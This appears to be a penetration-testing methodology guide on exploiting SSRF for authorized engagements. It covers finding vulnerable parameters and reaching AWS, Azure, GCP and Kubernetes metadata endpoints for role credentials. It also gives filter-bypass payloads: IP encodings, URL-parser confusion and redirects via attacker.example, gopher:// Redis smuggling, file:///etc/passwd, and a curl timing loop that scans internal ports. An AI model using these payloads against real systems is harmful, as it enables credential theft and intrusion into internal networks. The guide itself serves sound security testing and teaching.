exploiting-ssrf

Exploiting SSRF

SSRF matters because of what the server can reach that you cannot: the cloud metadata endpoint holding role credentials, internal services with no authentication, and the container network. The vulnerability is trivial; the work is in the bypasses and in knowing which internal target converts a curiosity into a compromise.

Only against systems you are authorized to test.

When to Use

Any feature that fetches a URL: webhooks, imports, avatar-from-URL, link previews, PDF/screenshot generation, XML/SVG processing, file fetch by URI
A parameter contains a URL, hostname, IP, or a path that becomes one
Source review finds an outbound HTTP call with a user-influenced target
Testing an integration that "calls back" to a customer-supplied endpoint

When NOT to Use

Client-side request forgery (CSRF) — different vulnerability entirely
The wider web methodology — use testing-web-applications
Source review as the main task — use auditing-code-for-vulnerabilities
Post-exploitation once you hold cloud credentials — use exploiting-cloud-platforms
Actually pivoting into internal systems beyond agreed scope — SSRF reaches further than most scopes intend; confirm before you traverse

Find It First

# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i

# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3

Every SSRF test starts with an out-of-band listener, because most SSRF is blind:

# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits

DNS resolution alone is a positive signal. A DNS lookup with no HTTP request usually means the server resolved the host and then blocked the connection — the SSRF exists and a filter is in the way, which tells you to move to bypasses rather than abandon the parameter.

Cloud Metadata: The High-Value Target

# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.

# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
    X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
    X-aws-ec2-metadata-token: <token>

# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
    Metadata: true

# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    Metadata-Flavor: Google

# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/pods

Credentials recovered here go to exploiting-cloud-platforms. Report the finding at the severity of what the role can do, not "an internal URL was fetched."

Also worth reaching: http://localhost:<port> for admin interfaces bound to loopback, Redis and Memcached (unauthenticated by default and reachable via gopher:// if the client supports it), Elasticsearch on 9200, Docker's socket via http://localhost:2375/containers/json, and internal CI/CD dashboards.

Filter Bypasses

Work through these in order; the first three defeat most naive filters.

Alternate IP encodings for 169.254.169.254
  2852039166            decimal
  0251.0376.0251.0376   octal
  0xA9FEA9FE            hex
  ①⑥⑨.②⑤④…            unicode digits (some parsers normalize)

Alternate localhost
  127.0.0.1  127.1  127.000.000.1  0.0.0.0  0  [::1]  [::ffff:127.0.0.1]
  localtest.me   spoofed.burpcollaborator.net    (public DNS → 127.0.0.1)

DNS pointing where you want
  Register a name whose A record is 169.254.169.254 or an internal IP

URL parser confusion — the fetcher and the validator disagree
  http://expected.com@169.254.169.254/
  http://169.254.169.254#expected.com/
  http://expected.com.attacker.example/
  http://attacker.example\@expected.com/
  http://[::]:80/
  Case, trailing dots, double slashes, and %2e%2e%2f in the path

Redirect chains — validator checks the first URL, fetcher follows the 302
  https://attacker.example/redirect → 302 → http://169.254.169.254/...

Protocol smuggling, when the client supports it
  file:///etc/passwd
  gopher://127.0.0.1:6379/_SET%20key%20value      (Redis via raw TCP)
  dict://127.0.0.1:11211/stat

DNS rebinding defeats validators that resolve, check, then let the HTTP client resolve again: return a public IP on the first lookup and an internal one on the second. This is the bypass for "we resolve and check the IP" — the only robust defence is to resolve once and connect to that address.

Redirects are the most common miss. Test them explicitly: a validator that approves the initial URL and an HTTP client with follow_redirects=True is a complete bypass, and it is the default configuration of most HTTP libraries.

Blind SSRF

When you get no response body:

Out-of-band confirmation — DNS and HTTP hits prove the request happened.
Timing — an internal IP with a service responds fast; a filtered one hangs until timeout. That difference is a port scanner.
Error differentials — "invalid image" vs "connection refused" vs a timeout distinguishes open ports, closed ports, and filtering.
Second-order effects — a rendered PDF or thumbnail may contain the fetched content even when the HTTP response does not.

# Internal port scan by timing, one target at a time
for p in 22 80 443 3306 5432 6379 8080 9200 10250; do
  s=$(date +%s%N)
  curl -s -o /dev/null "https://target/fetch?url=http://127.0.0.1:$p/"
  echo "$p $(( ($(date +%s%N)-s)/1000000 ))ms"
done

Renderers deserve their own attention: an HTML-to-PDF or screenshot service runs a full browser server-side, so an <iframe src="http://169.254.169.254/..."> or a <script>fetch(...)</script> in the submitted HTML gives you SSRF with a readable response rendered into the output document.

Rationalizations to Reject

"It only accepts https:// URLs on our allowlist." Test redirects, DNS rebinding, and parser confusion before believing an allowlist.
"No response is returned, so it's not exploitable." Blind SSRF reaching IMDSv1 still steals credentials, and renderers return content indirectly.
"We're on IMDSv2, so SSRF is mitigated." Only against simple URL fetchers. A request-proxying SSRF still reaches it, and IMDSv2 does nothing for the rest of the internal network.
"It's just an internal IP, low severity." Severity is what the internal target does. Enumerate before scoring.
"We block 169.254.169.254." Try the encodings, a DNS record pointing there, and the IPv6 and link-local variants.
"The library validates the URL." The library validates, then re-resolves. That is the rebinding gap.
"I'll map the whole internal network to show impact." Confirm reachability, then stop and check scope. SSRF traverses further than most engagements authorize.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

T1190 Exploit Public-Facing Application — see also testing-web-applications, testing-apis, enumerating-network-services, attacking-graphql, attacking-grpc-protobuf, exploiting-deserialization, exploiting-xxe

Credential Access (TA0006)

T1552.005 Cloud Instance Metadata API — see also exploiting-cloud-platforms, attacking-eks-gke-aks

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

testing-web-applications — the surrounding methodology
exploiting-cloud-platforms — what to do with recovered role credentials
auditing-code-for-vulnerabilities — finding the outbound call in source
testing-apis, attacking-graphql — SSRF reached through API parameters
Burp Collaborator, interact.sh, SSRFmap, gopherus, nslookup/dig